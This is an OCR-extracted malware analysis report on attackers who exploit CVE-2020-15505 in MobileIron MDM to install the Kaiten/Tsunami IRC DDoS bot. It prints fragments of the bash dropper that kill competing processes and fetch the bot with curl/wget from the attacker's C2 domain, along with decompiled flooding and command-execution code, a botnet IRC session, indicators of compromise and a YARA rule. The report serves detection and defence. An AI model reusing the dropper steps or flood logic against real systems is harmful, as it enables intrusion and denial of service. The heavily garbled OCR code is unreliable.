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In September this year the security researcher Orange Tsai published various vulnerabilities and POCs related to

the Mobilelron’s mobile Device Management (MDM) solution.

The Tarlogic Blue Team has identified the use of CVE-2020-15505 by a certain group of attackers to download

and run Kaiten

Kaiten (aka Tsunami)

Through the JNDI injection related to said CVE, the attackers are downloading the well-known Kaiten. This

family of malware has been used by multiple actors for more than 15 years (its beginnings date back to 2002)

mainly as an offensive tool to generate DoS attacks and, currently, for the mining of cryptocurrencies.

There are dozens of variants associated with this malicious code; possibly as a result of the publication of its
source code. In February 2016, a variant of Kaiten was distributed by a group of cybercriminals through malicious
ISO images after compromising an instance of Linux Mint WordPress and modify its download URLs. Another

variant, dubbed Amnesia in April 2017 by PaloAlto, was related to the infection of multiple CCTV-DVR systems

around the world by taking advantage of a certain RCE vulnerability that affected more than 70 vendors.

In April 2018, Netlab 360 researchers identified a botnet (nicknamed Muhstik) also linked to this malicious code

that used a certain Drupal vulnerability as the input vector.

The capabilities of this malware are mainly focused on denial of service attacks by implementing various
functions to do TCP/UDP flooding to the victims; all instructed by means of the IRC protocol. Attackers also have

the ability to execute commands and download files.

Malware characteristics:

The binary identified in one of our clients corresponds to 969013b23e440fe31be70daac6d7edb2. Its download

originates from a certain dropper developed in bash whose goal is, in the first place, to kill multiple processes

related to miners and services that require a high level of CPU.
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« "{print 52}’

"{print 52}'
'{print 52}"'
'{print 52}'
{print $2}"' | xarg
"{print 52}’
"{print 52}'
"{print 52}’
'{print $2}' g
{print $2}' | xargs
'{print %2}’
'{print 52}'

kill -9
kill -9

xargs
xargs

'{print $2}' xar
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'@-9a-f\{32\}’
'9-9a-F\{33\}’

i "tmpog"
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-1 "gqW3xT"
-1 "wnTKYg"
-1 "tedls.ru"
i "sustes"
S aux -1 "thisxxs"
tat -antp 4444
net tat -antp 333"
netstat -antp
-antp
-antp T
- "ha"hfluh"
-i ", [kworker
-1 "kworkerds"

i "/tmp/devtool”

"systemctI”
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" /bin/sh"

Figure 1. bot_kill function

{print $2}'

"{print 52}' | xarg

'{print 52}"
"{print %2}’
'{print 52}’

3k ’{pr\nt $2}' | xar
'8-9a-f\{16\}'

s« "{print 52}’
'{print 52}"

’{prlnt $2}'
. 'kprxnt $2}'

'{print $2}'

Xargs

{print $2}' | =args k
'{print 57}' | cut
"{print 57}’ cut
"{print $7}' | cut

xargs kill -9

¢ "{print 57}" | cut

"{print 57}' cut
'{print $2}' g
"{print 52}'

"{print $2}'
"{print $2}'
{print $2}'

{print $2}'
'{print $2}'

'{print $2}'

"{print 52}'

xarg

"{print $2}'
'{print 52}"
‘{print $2}'

{print $2}'
"{print 52}’

xargs

"bash™ '{if(53>=50.8) print 52}’

addafaPs52s/jKal2d

Once these processes are finished, the script downloads, via “curl”, the Kaiten malware from the URL

https://lib.pygensim.com/gensim in the directory defined by the INSTALL variable (/var/tmp/systemd-private-
c15c0d5284bd838¢15fd0d6¢5¢c2b50bb-systemd-resolved.service-xCkB12/jf2fa44a/aPs52s/jKal2d), it sets

execution permissions and finally runs it under the name of “kworker”.

install() {

#r

mkdir -p /tmp
mkdir -p

Jfvar/tmp

chmod 1777 /var/tmp
chmod 1777 /tmp

mkdir -p $INSTALL_DIR
Ld $IN TALL DIR

-m186 "$U 0 "¢p

"| lwget --trie

-T188 -g "$URL"

run_procs

Figure 2. Tsunami execution

The signature of the harmful code is as follows:
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MD5: 969013b23e440fe31be7@daacbd7edb?
SHAT: 5369a0122fd3b75ffdd110cc86ccc2d8ae2fal30
SHA256: 0c27c64fc118ef56048b7d994162c4a0d008b4582c5eeb6923949a286T45ec52

The file is an elf x64 binary compiled with GCC (Alpine 9.3.0). The following image shows its static properties

from the information of its headers.

[Entrypoints]
vaddr=0x0000105a paddr=0x0000105a baddr=0x00000000 1addr=0x00000000 haddr=0x00000018 type=program

1 entrypoints Encabezado ELF:
x86 Magico: 7f 45 4c 46 02 61 61 0O 0O 6O 00 AO 6O 0O OO OO
74372 Clase: ELF64
elf Datos: complemento a 2, little endian
64 Version: 1 (current)
false 0S/ABI: UNIX - System V
ELF64 Versién ABI: 0
false Tipo: DYN (Fichero objeto compartido)
little Maquina: Advanced Micro Devices X86-64
true Versién: oxi
c Direccion del punto de entrada: 8x105a
false Inicio de encabezados de programa: 64 (bytes en el fichero)
false Inicio de encabezados de seccién: 74376 (bytes en el fichero)
AMD x86-64 architecture Opciones:
16 Tamano de este encabezado: 4 (bytes)
1 Tamafio de encabezados de programa: (bytes)
true Nimero de encabezados de programa:
Linux Tamafio de encabezados de seccidn: (bytes)
0 Nimero de encabezados de seccién:
true indice de tabla de cadenas de seccién de encabezado: 20
false
full
NONE
true
true
linux
true

file format elf6s4

Figure 3. ELF information: kworker

By analyzing the strings embedded within the binary it can be quickly inferred that the sample corresponds to
Kaiten. In the following image you can see the strings associated with the help menu where some of the IRC

NOTICE messages that will be used to report the status and actions of the bot are shown.
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[HamicE s TSUNAME clarget» csecs>

Pl <target> <ports <secs>
AUCP <target> <port> <secs>
s LNKHOININ <larget> csecs>

€ toorcon] kaiten.c at mastes

C

githubs.com.

hadpint
(mfork(sender) I= 8) returr

nd(sock, "NOTICE ¥s :TSUNAMI <target> <{secs>
Send(sock,"NOTICE Xs :PAN <target> <port> csees>
nd(sock, “NOTICE Xs
nd(sock, "NOTICE %s

sock, char *sender, int arge, char *=argv) {

:UDP <target> <port> <secs>
IUNKNOWN <target> {secs»

Send(sock, "NOTICE %s
d(sock, "NOTICE Xs
end(sock, "NOTICE Xs

SHICK <nick>
1GETSPOOFS
:SPOOFS <subnet>

Send(sock, "NOTICE ¥s
Send(sock, "NOTICE Xs

:DISABLE
:ENABLE

Send(sock, "NOTICE ¥s
Send(sock, "NOTICE Xs

:KILL

GET <http address> <save as>
VERSION

:KILLALL

HELP

Sand(sock, “NOTICE ¥s
Send(sock, "NOTICE %s
Send(sock, "NOTICE ¥s

Send(sock, "NOTICE Xs
Send(sock, "NOTICE ¥s
exit(0);

1IRC <command>

:SH ccommand>

= Special paceter that mant be bocked by mast frenalsin
= &n sduanced sym fooder thot will l most network drversn

= A udp fooderln

= Anather nan spaaf ud> foodern
= Changes the rick of the dentln

= Changes serversin

= Gats the curvent spoafingin
= Changes spoofing io a subnetln

= Dissibles ol packeting from Sis clentin
= Enaties al packetng from this chentln

= s e chenin

= Bowrkaads  fle offthe web and saves & anto e hd'n

= Recuests version of dentn

=iy al cument padketingn
= Displays thelpy

= Sands this command to the serverin

= Executes a command'n

Figure 4. Strings binary vs source code Kaiten

o

= Special packeter that wont be blocked by most firewalls\n”,sender); sleep(2);
- An advanced syn flooder that will kill most network driversin”,sender); sleep(2);
A udp flooder\n®,sender); sleep(2);

= Another non-speof udp flooder\n",sender); sleep(2);

Changes the nick of the client\n",sender); sleep(2);
= Gets the current spoofing\n",sender); sleep(2);

= Changes spoofing to a subnet\n®,sender); sleep(2);

= Disables all packeting from this client\n",sender); sleep(2);
= Enables all packeting from this client\n™,sender); sleep(2);

= Kills the client\n®,sender); sleep(2);

= Downloads a file off the web and saves it onto the hd\n”,sender); sleep(2);
= Requests version of client\n®,sender); sleep(2);

= Kills all current packeting\n",sender); sleep(2);

- Displays this\n",sender);

= Sends this command to the server\n®,sender); sleep(2);

= Executes a command\n”,sender); sleep(2);

By reverse engineering it, we can confirm that the malware author compiled the publicly available sources

without hardly modifying the logic of their functions:

align 20h

data:peBIEG080EE1 3148 ptr_functions dq offset 2352

of f_13143 dq offset sub_43EE
dq offset 3376

dq offset sub_d34A

dq offset 3433 8 T——

dq offset sub_d67F
dq offset 2427

dq offset sub_d34A
dq offset sPrivmsg
dq offset sub_3C78
dq offset aPing

dq offset sub_d38E
dq offset aMick

dq offset sub_d685
align 20h

da offset sub 9E65

off 13108

Figure 5. Function structure

The binary, after executing, makes a fork() call and later tries to establish communication with the control server

using the IRC protocol. To do this, it generates a random nickname/user and connects to certain channel waiting to

receive the instructions from their operators.

¥

H

struct Messages { char *emd; void (* func)(int,char *,char *); } msgs[] = {
{ "352", 352},
{ "3a7e", _376 },
{ "433", 433 ),

| a2, 376 ),

{ "PRIVMSG", _PRIVMSG },
{ "PING", _PING },
{ "NICK", _NICK },

{ (char *)8, (void (*)(int,char *,char *))8 } };

Figure 6. Fork y C&C connection

The code implements various functions to carry out different types of denial of service attacks (SYN / UDP

flooding, etc.). The following image shows the logic to execute one of them, specifically, the so-called Tsunami

attack. The operators will instruct the bots to execute, for a certain time (set in seconds), a DOS TCP attack

playing with various flags of this protocol.
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1|_int nté4 58

Fif § LH

3 53 = in_cksum(&v35, 20LL);

4 59 in_cksum({8:35, 4BLL);

5 68 - s

& F 61 F

7 = _ readfsquord(@x28u); 62

B| start_ = time(8LL); 63 3

o) 4f ( I(unsigned int)afork(sender, sender, wd, w5, v6, v7) ) 64 tons (1420LL);

10 [ (_QWORD *)dva6;

1 if (argc <= 1) 6

1 { 67

13 send((unsigned int)sock_, (__: n %5 :TSUNAMI <target> <secs¥\n”, nder, v9, v1e, 1); € » Bsend_top, 1400uLL);
14 exit(l); 69 check = in_cksum{8v27, 1432LL);
15|} 78 sendto(sock v3);

16 ecs = atol(*(char **)(v2e + 16)); 71 if (v 2> 49 )

17 5 2 = socket{2Ll, 3LL); 72

18 zc@ 73 if ( time(dLL) >= (uns + sees) )
18 exit(1); 74

20 = time(@LL); 75 close{(unsigned int)

n pid = getpid(); 78 exit(e);

22| srand(start * pid); 7

23 14 = rand_(); 78

24| memset(de , 1488LLY;

tyhost2ip(zender, =(_QWORD *)(v26 + B));

2 , (_int64)"MOTICE %s :Tsunami heading for ¥s.\n", sender, *(_QWORD *)(v2@ # §), vi5, v16);

27| while (1)

3w |

o sadde = spoof();

o 3 3 & exF@ | 53

31 & oxF | exse; s vE)s
3z 37 = 16;

33 36 = htons(1448LL);

Figure 7. Tsunami (DOS)

The malicious code also has the ability to execute commands on the victim via the “SH” command. To do this,

first, it adds the command to execute in the $PATH env variable and then makes use of popen() to run it.

Y
=
2606000000003F42 BDS lea rax, [rbp+command]
@00DO0OR0R0A3F49 S0 mov edx,
BOEDEBAGEEDAIFAE S5 mov esi, @
2O0DAOOROBB3FS3 05 mov rdi, rax
808 call memset
060BEOE0OOBE3FSE B8 mov rax, [rbptvar_895]
0000000000003F62 S05 lea rdx, [rax+3]
0O0DEBA0BERA3FEE 203 lea rax, [rbp+command]
6OGBABEGBORA3FED E0S lea rsi, aExportPathBinS ; "export PATH=/bin:/sbin:/usr/bin:/usr/lo”
4 808 mov rdi, rax
20RDOBERORDY.
uﬂseeaueeejg;z gg: puit Y :;fir.2+ IaExpcrtFathElns db export PATH=/bin:/sbin:/us sr/shin;®s’,@
0000E00000RA3FEL B8 lea rax, [rbp+command] s
BOGDABEGBORAIFEE EDS lea rsi, a ; et
OGDOOOGEERAIFEF BDS mov rdi, rax
POEPE0EREERA3IFI2 508 call  popen
60DOGEGEERAIFIT BDE mov [rbptstream], rax
2600EEE0E0REIFIE EDS jmp short loc_4095
Ty
[ s =
@00000R000a4005
2000200000004085 ch_-IDBS
rbp+var_g93] 808 mov rax, [rbp+stream]
yte ptr [rax]| (00ACE0EERAIARC B05 mov rdi, rax
it 6000AGA00A0B4E0F 505 call  feof
loc_sand 0000000000004014 508 test  eax, eax
B0G0R00G0R0R4016 202 jz short loc_3FA@
¥ L ] i 4
== ==
904068 EDE mov rax, [rbp+var_B38] | (6000000600604018 5DE mov rax, [rbpstrean] B00OEAIBA0H0IFAR
904067 506 movx  eax, byte ptr [rax]| |00060e000060401F 505 mov rdi, rax B00OEAABAGRAIFL loc_3FAB
994064 BB test al, al BREeNeREREeRIR22 B0G call pelose 20000000000003FA0 808 lea rax, [rbp+command]
96405C 808 jz short loc_seas 2000080006004027 SDE mov edi, @ ; status| |BGEEEEBRGBAIFAT BDE mov edx,
2C 808 call _exit 2000000000B03FAC EDE mov esi, @
1 808 mov rdi, rax
800POAOPERAIFEL 8D call memset
B200082000823F89 503 mov rdx, [rbp+s(r'eam]
80000ADBRORAIFCA 803 lea rax, [rhp—o—cnnmand]
2000000000003FCT ED3 mov esi,
08080000B0BA3FCC 503 mov rdi, rax
G60BGARBBOBAIFCF 808 call  fgets
0000000000003F04 508 lea rcx, [rbp+command]
0000000000003FDB 308 mov rdx, [rbp+sender]
0B0000BGBOBAIFE EDS mov eax, [rbpévar_384]
00080000B0BO3FES 808 lea rsi, aPrivmsgss ; "PRIVMSG ¥s :%s\n”
B0BGOBBBOBAIFEF BDS mov edi, eax
0000000000003FFL 803 mov eax, @
0000000000003FF6 808 call  send
800000000000IFFR 808 mov edi, 1
0900000000004000 803 call  sleep
2 |

Figure 8. Command execution

Another Kaiten’s features is downloading files via HTTP. The following image shows the function responsible for
this logic. Observe the strings associated to the GET request (with the “hardcoded” headers) with which the bot

requests to download files to the system.

Page 5 of 10


https://www.blackarrow.net/wp-content/uploads/2020/10/7_Tsunami_dos.png
https://www.blackarrow.net/wp-content/uploads/2020/10/7_Tsunami_dos.png
https://www.blackarrow.net/wp-content/uploads/2020/10/8_Command_execution.png
https://www.blackarrow.net/wp-content/uploads/2020/10/8_Command_execution.png

https://www.blackarrow.net /attackers-abuse-mobileirons-rce-to-deliver-kaiten/

send(

[en] (¥13; U; Linux 2.3.16-3 L688)\rin"

__randfageard(@x280) ;

i i ¢ taforkge o v 85, 860 } bitasp, issge/Jpes, inage/pipen, imagelpng, “/\rin"

1{
if (Va7 e 1)
{

send{sock, WOTICE s :GET <hosts (save assin®, sender, i, vi, vi);
exit{®);

= secket(2U, 1LL);
)

if ( .
B i
send{zock, MOTICE ¥z sUnsble to cremte sacket.in”, s V10, vil, vi2)3
exit{o];
21 AF ( strnoep(*(v2 + B), “hetpi/iT, TLL) )
strepy(vaz, (425 + 8))
else
stropy(vaz, *(v6 + 8) + ILL);
For (1= 8 i¢strlenivaz) B vaa(i] la 473 ++1 )
1 -0 gota Lasel_z3;
- htens(BaLLY: s e
= dnet_addr{ua2)} o 1 i
if( -1} 81/ or ( k m 48 k€ w33 ek )
= gethosthyname(.42, w42); z } TRt He
AN send(zock, "WOTICE X3 :Saved a3 Ka\n®, 2 *{v25 + 16), w22, v23)3
send(sock, "WOTICE ¥s :Unable te resolve address.\n”, , i3, vi4, vis);  plec2)
exit(a); 8 {

. amssLL, BLL);
beopy(Rvs, TT(a36 & 24), T(0I5 4 20));

| alse s )
{ il = 3wl )
1 i
memat(RcL, OLL, BLLY 4 =
3 Coomciliocks, &3, 1AL 3 | T
send(sock, "WOTICE % :Unsble to comnect to hitp,\n, sender, vi6, vi7, vii)s _estt(a;
exit(e); 5 )

Figure 9. Command execution

Communications

Kaiten’s dropper as well as the IRC control server share the same malicious domain: lib.pygensim.com

This was created on October 2, 2020 (a few days before the incident) and currently resolves to the address
198.98.56.111 (belonging to the bulletproof host “FranTech solutions”).

Rasobve. Location Hatwork ASN First Last Source Tags

5
1989856111 us 198.98.48.020 53667 2020-10-06 20201006 pingly.

= Domain Profile
Registrant Jane Marrin cry.com
Registrant Country us

Registrar PDR Ltd. d/b/a PublicDomainRegistry.com
IANA ID: 303
URL: www publicdomainregistry com nittpsfwww publicdomainregistry.com
is publicdomainregistry.com

publicdomainregistry.com
52

Registrar Status  clientTransferPronibited

Dates 4 gays ola "
Created on 2020-10-02
Expires an 2021-10.02
Updated on 2020-10-02

Name Servers M$1 HE NET [has 71,234 domains) r
NS2 HENET (nas 71,236 domains)
N$3.HENET [has 71,236 domains)
NS4 HENET [has 71,238 domains)
NS5 HE NET fhas 71,236 domains)

; Janemomind giremall o

Tech Contact Jane Morrin
2843 Star Rout
Marthbraak, Il
jmemerrind @
() 122432448

DomainStatus  Registersa Ang No Website ;i
Mosting History 1 change on 2 unique name servers over 0 year " ST

From Regt
= Wabsite
Website Title None given. -

JANGmOmIng v mal cr

Figure 10. Whois domain: pygensim.com

According to the information indexed by Shodan the server corresponds to a Debian 10 with ports 22 (SSH) and

443 exposed to Internet. Note that Shodan correctly identifies the IRC server running on socket 443.
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Last Update
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Buffalo

United States

FranTech Solutions

FranTech Solutions

2020-10-05T18:50:29.280781

AS53667

Figure 11. Shodan information

sstnane. ..

ooking up your

-

OpenSSH IR

§5H-2.0-Opey

1 Debian-19
s
B3MzaClyc
YIvSHESADSNC!
@ymapnF sk, sk

gL
VYIS 35 ToSUNQTHNVLYSq38dGPy

The following image shows the bot’s connection to the IRC server (UnrealIRCd 5.0.6) and the entry to the

#internet channel (with the password “:key_of_channel”). The creation date of this server was October 4 at 6:12

PM PDT.

:drc.internet.com NOTICE *
:irc.internet.com NOTICE *
NICK WIMHRM

USER BBGQEY localhost localhost :CDTZAH

PING :1A84292C

PONG :1A84292C

:irc.internet.com 081 WIMHRM :Welcome to the interNET IRC Metwork WIMHRM!BBGQEYD

irc.internet.com 882 WIMHRM :Your host is irc.internet.com, running version UnrealIRCd-5.0.6

:drc.internet .com 883 WIMHRM :This server was created Sun Oct 4 2020 at 18:12:45 POT

re.internet.com 084 WIMHRM irc.internet.com UnrealTRCA-5.0.6 iowrsxzdHtTDZRqpWGTSB 1vhopsant ikraqbeIHzMQNRTOVKDAGLPZSCef

Looking up your hostname...
ouldn't resolve your hostname; using your IP address instead

DEAF=0 ELIST=MNUCT EXCEPTS EX

wISOcarng)r :are supported b

rc.internet.com 995 WIMHRM A‘m\YLEN 39] BOT=B CASEMAPPING=ascii CHANLIMIT=#:180 CHANMODES=bel,kLf, 1H, psmntirzMQNRTOVKDIGPZSCc CHANNELLEN=32 CHANTYPES=# CLIENTTAGDENY=",

-draft/typing,

-typing

TBAN y this server
CLrC.NTOrnot  con 965 NIVMRM HCN TNVEX KICKLEN-367 KNGGK AP, WAXCHAWNELS=160 AXLIST=b: 60,8:69, 1:60 MAXNICKLEN=30 NINNICKLEN=@ MODES=12 NAMESX NETWORK=1NterNET :are SUppOrted by this server

rc.internet.com 995 WIMHRM NICKLEN=30 PREFIX=(qaohv)-&@%+ QUITLEN=307 SAFELIST SILEMCE=15 STATUSMSG=-&f%+ TARGMAX=DCCALLOW:,

4, SAJOTN:, SAPART:, TAGMSG: 1, USERHOST : , USERTP: WATCH: WHOTS:1, WHOWAS:1 TOPICLEN=368 UHNAMES USERTP WALLCHOPS WATCH=128 :are snppnr(sn by this server

:irc.internet.com 095 WIMHRM WATCHOPTS=A WHOX :are supported by this server
re.internet.com 396 WIMHRM 59715A82.C40FBOEB.4EQAEOAS.TP :1s now your displayed host
rc.internet.com 251 WIMHRM :There are 163 users and 1 invisible on 1 servers
rc.internet.com 252 WIMHRM 1 :operator(s) online

re.internet.com 254 WIMHRM 2 :channels Tormed

rc.internet.com 255 WIMHRM :I have 164 clients and @ servers

irc.internet.com 265 WIMHRM 164 182 :Current local users 164, max 182
:irc.internet.com 266 WIMHRM 164 182 :Current global users 164, max 182
:irc.internet.com 422 WIMHRM :MOTD File is missing

INHRM MODE WIMHRM :+iwx
MODE WIMHRM -xi

JOIN #internet :key_of_channel
WHO WIMHRM

irc.internet.com 396 WIMHRM
WIMHRM MODE WIMHRM :-ix
[THHRM ! BEGQEYD JOIN :Einternet

:1s now your displayed host

ISON:, JOIN:, KICK:4,KILL:, LIST:, MAMES:1, NOTICE:1, PART:, PRIVMSG:

re.internet.com 353 WIMHAM = #internet :WIMHRM PPOX -magiclan SD2W VUOBPRW(Q NEKIJOU DFCIGN UGATE CZAOP EKJGIK MKNOMLFD KXFCGLCU AMDGVSOH BNULIZYZ BEZFGYQ ZWMQRCZO GPZV KFZFLH EQEV VSYG

FEEZQLTB ANMW RWHN NORUG DULOE XLGMPWET ROWETT RXHDL JGOERLWI CSUCDL RBACAI WMONKQY JILLZBY FNRTBZ GZTD QLAOKEV ZHFESXO LDFPL HWEKXT THQGBZNS AEKM JLILAXWQ FUZO ZFOZ ATNSD JENI DPQWLEWF

MACQXYK MECBX JPECZ \GSDPIBY MIPQPMO XBEQ) KRUCPMB TBHEMF GXQQMPS VGTIM GTTZIQ WIECQLBU
:irc.internet.com 353 WIMHRM = internet :LMZA

XHOTIKMY LOFO CBXE JHRIIKY BOMB PPRRS UXVFP KQUGYXD ZTHSEVND XLWDU KQNLPLR UFUZCDP EPKRP OMMS KJAGCGV YIZY NBKBR SUCKMF XQKTKMHP WIGZNH RVMNNX

KOV VYQZ!HSN ISMEQE .“DEFG QUHIJK PLMRR NVQHﬂ METO FURPSM PR\'YP BGKPYL PRGO BCHACC HHAV FDKT DMIYSMVK SNJZTLX SHYZXVG JYMWR CSWMSFK LRMXK RYRHM CHKMHIIZ AISSU NZFBY HXUTPI

OQSYIMVW CYWIYT
GGHPLLNX JPQICPX BRF) JSIG WPKG XVEYQAXC 2i T HQWKBNS FSTYFE TKMAC TQRTF

:irc.internet.com 353 WIMHRM = #internet 'MODK YM SIYDJBH MHIZY VWQUGTQR HJMI’D ZLLUFONZ WWQPDYW QCHHCLYR AVIBWFBZ RHPJQI EUCG ZOUKSJY HKFNPPH JYBVPXL BYXNMXGM EHCGPT DQLAJ) UONH THTMXNQ
NOPADBBC CTYJXBOK ALHLQH XXYU GYLIOS LKTFX ZXRNP ZCMJXW IAUB RCHUQXD ODNUI YBPQHUK ISYTQV FBBXHLN LUXE KROQQD VXJTSDJ HGAXM GECS DTEZQ ZQAA LTNNJ TBRLKDL GROMN

re.internet.com 366 WIMHRM #internet :End of /NAMES list.
:irc.internet.com 352 WIMHRM #internet BBGQEY
irc.internet.com 315 WIMHRM WIMHRM :End of /WHO list.

irc.internet.com WINHRM H :0 COTZAH

Figure 12. IRC server connection

d #internet
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Figura 13. Active bots
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It should be noted that the IRC server was active during the sample analysis and had about 300 bots.
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]

In the previous output you can see the “Network Administrator” of this server under the nickname “magician”.

End of /WHD list
magician Hs#~ @ magicanetadmin.example.org | realname
End of /WHO list
magician ciinetadmin.example.org
ircname

~#internet

: irc.internet.com |[internet

: IRC Operator

: is usi Secure Connection

:is a Adminis

: @ days 1 hours 26 mins 31 secs [signon: Fri Oct
End of WHOIS

Figura 14. Magician (Network Administrator)
The number of bots by country that were found at the time of analysis is listed below:

e 70 US, United States

¢ 30 DE, Germany

e 22 GB, United Kingdom
¢ 19 HK, Hong Kong

e 12 NL, Netherlands

e 12T, Italy

¢ 11 RU, Russian Federation
e 10 SK, Slovakia

¢ 10 FR, France

e 10 CN, China

e 10 AU, Australia

e 9 TR, Turkey

e 9IE, Ireland

e 8 AT, Austria

e 7 MY, Malaysia

e 6 SG, Singapore

¢ 6 GL, Greenland

e 5TW, Taiwan

e 5 CH, Switzerland

e 4 MX, Mexico

* 4 KR, Korea, Republic of
e 4 ]JP, Japan

e 4 CZ, Czech Republic
e 4 CA, Canada

e 4 AR, Argentina

e 3 BE, Belgium

e 2 SE, Sweden

e 2 RS, Serbia

¢ 2 RO, Romania

e 2 PR, Puerto Rico
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e 2 LU, Luxembourg

e 21D, Indonesia

e 2 HU, Hungary

e 2 DO, Dominican Republic
e 1ES, Spain

e 1 BR, Brazil

Indicators of compromise

Yara rule:

rule Tsunami {

meta:
author = "BlackArrow Unit (Tarlogic)"
description = "Detection of Tsunami/Kaiten sample based on embeded strings"
md5 = "969013b23e440fe31be70daacbd7edn2"
shal = "5369a0122fd3b75ffdd110cc86ccc2d8ae2fal30"

strings:
$elf = { 7f 45 4c 46 }

$x1 = "= Kills the client"

$x2 = "Kaiten wa goraku"

$x3 = "syn flooder that will kill most"
$x4 = "NOTICE %s :Killing pid"

$x5 = ":Removed all spoofs"

$x6 = "TSUNAMI <target>"

$x7 = "Do something like: 169.40"

$x8 = ":Spoofs: %d.%d.%d.%d"

$x9 = "NOTICE %s :UDP <target>"

$x10 = "NOTICE :GET <http address> "
$x11 = "NOTICE :NICK <nick>"

$x12 = "NOTICE :UNKNOWN <target>"
$x13 = "NOTICE :KILLALL"

$x14 = "GETSPOOFS"

o
n

o of
(%] (%]

o
(%]

condition:
$elf in (0..4) and 6 of ($x*) and filesize < 120KB

It is recommended to filter the domain linked to the C&C (lib.pygensim.com) and establish rules in the
corresponding networking devices (firewalls, IDS / IPS) to identify outgoing IRC traffic as this is a protocol rarely
used in business environments. In the case of using SNORT, consider the detection rules listed at:

https://www.snort.org/search?query=irc&submit _search=
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